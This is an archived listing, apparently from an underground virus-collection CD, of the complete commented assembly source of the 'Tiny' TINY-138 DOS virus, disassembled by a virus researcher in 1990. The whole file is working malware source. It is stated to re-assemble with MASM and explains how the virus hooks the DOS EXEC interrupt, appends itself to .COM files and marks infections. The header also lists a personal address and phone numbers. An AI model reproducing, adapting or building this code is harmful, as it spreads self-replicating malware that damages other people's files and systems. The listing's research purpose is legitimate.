home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / tiny-138.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.4 KB  |  168 lines

  1.     page    ,132
  2.  
  3.     name    TINY138
  4.  
  5.     title    The 'Tiny' virus, version TINY-138
  6.  
  7.     .radix    16
  8.  
  9.  
  10.  
  11. ; ╔══════════════════════════════════════════════════════════════════════════╗
  12.  
  13. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  14.  
  15. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  16.  
  17. ; ║                                         ║
  18.  
  19. ; ║             The 'Tiny' Virus, version TINY-138                  ║
  20.  
  21. ; ║         Disassembled by Vesselin Bontchev, September 1990         ║
  22.  
  23. ; ║                                         ║
  24.  
  25. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  26.  
  27. ; ║                                         ║
  28.  
  29. ; ║     This listing is only to be made available to virus researchers      ║
  30.  
  31. ; ║           or software writers on a need-to-know basis.          ║
  32.  
  33. ; ╚══════════════════════════════════════════════════════════════════════════╝
  34.  
  35.  
  36.  
  37. ; The disassembly has been tested by re-assembly using MASM 5.0.
  38.  
  39.  
  40.  
  41. code    segment
  42.  
  43.     assume    cs:code, ds:code
  44.  
  45.  
  46.  
  47.     org    100
  48.  
  49.  
  50.  
  51. seg_60    equ    600
  52.  
  53. v_len    equ    v_end-first4
  54.  
  55.  
  56.  
  57. start:
  58.  
  59.     jmp    v_entry     ; Jump to virus code
  60.  
  61.     db    'M'             ; Virus signature
  62.  
  63.     mov    ax,4C00     ; Program terminate
  64.  
  65.     int    21
  66.  
  67.  
  68.  
  69. ; The original first 4 bytes of the infected file:
  70.  
  71.  
  72.  
  73. first4    db    0EBh, 2, 90, 90
  74.  
  75.  
  76.  
  77. v_entry:
  78.  
  79.     mov    si,0FF        ; Initialize some registers
  80.  
  81.     mov    di,offset start ; Put the addres of program start in DI
  82.  
  83.     mov    bx,int_21-first4+seg_60 ; Point BX at new INT 13h handler
  84.  
  85.  
  86.  
  87. ; The virus will be installed in memory at
  88.  
  89. ; address 0050:0100h (i.e., at segment 60h):
  90.  
  91.  
  92.  
  93.     mov    cx,50
  94.  
  95.  
  96.  
  97.     add    si,[si+2]    ; Determine the start addres of the virus body
  98.  
  99.  
  100.  
  101.     push    di        ; Now a Near RET instruction will run the prg.
  102.  
  103.  
  104.  
  105.     movsw            ; Restore the original first 4 bytes
  106.  
  107.     movsw
  108.  
  109.  
  110.  
  111.     mov    es,cx        ; Point ES:DI at 0050:0100h
  112.  
  113.     cmpsb            ; Check if the virus is present in memory
  114.  
  115.     jz    run        ; Just run the program if so
  116.  
  117.  
  118.  
  119. ; Virus not in memory. Install it there:
  120.  
  121.  
  122.  
  123.     dec    si        ; Correct SI & DI to point at the start of
  124.  
  125.     dec    di        ;  virus code and to destination address
  126.  
  127.     rep    movsw        ; Move the virus there
  128.  
  129.  
  130.  
  131.     mov    es,cx        ; ES := 0
  132.  
  133.  
  134.  
  135. ; Move the INT 21h handler to INT 32h and
  136.  
  137. ; install int_21 as new INT 21h handler.
  138.  
  139. ; By the way, now DI == 1A4h (i.e., 69h*4):
  140.  
  141.  
  142.  
  143.     xchg    ax,bx        ; Thransfer INT 21h vector to INT 69h,
  144.  
  145.     xchg    ax,cx        ;  preserving AX
  146.  
  147. lp:
  148.  
  149.     xchg    ax,cx        ; Get a word
  150.  
  151.     xchg    ax,es:[di-(69-21)*4]    ; Swap the two words
  152.  
  153.     stosw            ; Save the word
  154.  
  155.     jcxz    lp        ; Loop until done (two times)
  156.  
  157.  
  158.  
  159.     xchg    ax,bx        ; Restore AX (to keep progs as DISKCOPY happy)
  160.  
  161.  
  162.  
  163. run:
  164.  
  165.     push    ds        ; Restore ES
  166.  
  167.     pop    es
  168.  
  169.     ret            ; And exit (go to CS:100h)
  170.  
  171.  
  172.  
  173. int_21:             ; New INT 21h handler
  174.  
  175.     cmp    ax,4B00     ; EXEC function call?
  176.  
  177.     jne    end_21        ; Exit if not
  178.  
  179.  
  180.  
  181.     push    ax        ; Save registers used
  182.  
  183.     push    bx
  184.  
  185.     push    dx
  186.  
  187.     push    ds
  188.  
  189.     push    es
  190.  
  191.  
  192.  
  193.     mov    ax,3D02     ; Open the file for both reading and writting
  194.  
  195.     call    do_int21
  196.  
  197.     jc    end_exec    ; Exit on error
  198.  
  199.  
  200.  
  201.     cbw            ; Zero AH
  202.  
  203.     cwd            ; Zero DX
  204.  
  205.     mov    bx,si        ; Save handle in BX
  206.  
  207.     mov    ds,ax        ; Set DS and ES to 60h,
  208.  
  209.     mov    es,ax        ;  the virus data segment
  210.  
  211.  
  212.  
  213.     mov    ah,3F        ; Read the first 4 bytes
  214.  
  215.     int    69
  216.  
  217.  
  218.  
  219. ; Check whether the file is already infected or is an .EXE file.
  220.  
  221. ; The former contains the character `M' in its 3rd byte and
  222.  
  223. ; the latter contains it either in the 0th or in the 1st byte.
  224.  
  225.  
  226.  
  227.     mov    al,'M'          ; Look for `M'
  228.  
  229.     repne    scasb
  230.  
  231.     jz    close        ; Exit if file not suitable for infection
  232.  
  233.  
  234.  
  235.     mov    al,2        ; Seek to the end of file
  236.  
  237.     call    lseek        ; SI now contains the file size
  238.  
  239.  
  240.  
  241.     mov    cl,v_len    ; Length of virus body
  242.  
  243.     int    69        ; Append the virus to the file (AH is now 40h)
  244.  
  245.  
  246.  
  247.     mov    al,0E9        ; Near JMP opcode
  248.  
  249.     stosb            ; Form the first instruction of the file
  250.  
  251.     inc    si        ; Add 1 to file size for the JMP
  252.  
  253.     xchg    ax,si        ; Move it in AX
  254.  
  255.     stosw            ; Form the JMP's opperand
  256.  
  257.     mov    al,'M'          ; Add a `M' character to mark the file
  258.  
  259.     stosb            ;  as infected
  260.  
  261.  
  262.  
  263.     xchg    ax,dx        ; Zero AX
  264.  
  265.     call    lseek        ; Seek to the beginning
  266.  
  267.     int    69        ; AH is 40h, write the JMP instruction
  268.  
  269.  
  270.  
  271. close:
  272.  
  273.     mov    ah,3E        ; Close the file
  274.  
  275.     int    69
  276.  
  277.  
  278.  
  279. end_exec:
  280.  
  281.     pop    es        ; Restore used registers
  282.  
  283.     pop    ds
  284.  
  285.     pop    dx
  286.  
  287.     pop    bx
  288.  
  289.     pop    ax
  290.  
  291.  
  292.  
  293. ; Exit through the original INT 21h handler:
  294.  
  295.  
  296.  
  297. end_21:
  298.  
  299.     jmp    dword ptr cs:[69*4]
  300.  
  301.  
  302.  
  303. lseek:
  304.  
  305.     mov    ah,42        ; Seek operation
  306.  
  307.     cwd            ; Zero DX
  308.  
  309. do_int21:
  310.  
  311.     xor    cx,cx        ; External entry for Open
  312.  
  313.     int    69
  314.  
  315.     mov    cl,4        ; 4 bytes will be read/written
  316.  
  317.     xchg    ax,si        ; Store AX in SI
  318.  
  319.     mov    ax,4060     ; Prepare AH for Write
  320.  
  321.     xor    di,di        ; Zero DI
  322.  
  323.     ret            ; Done
  324.  
  325.  
  326.  
  327. v_end    equ    $        ; End of virus body
  328.  
  329.  
  330.  
  331. code    ends
  332.  
  333.     end    start
  334.  
  335.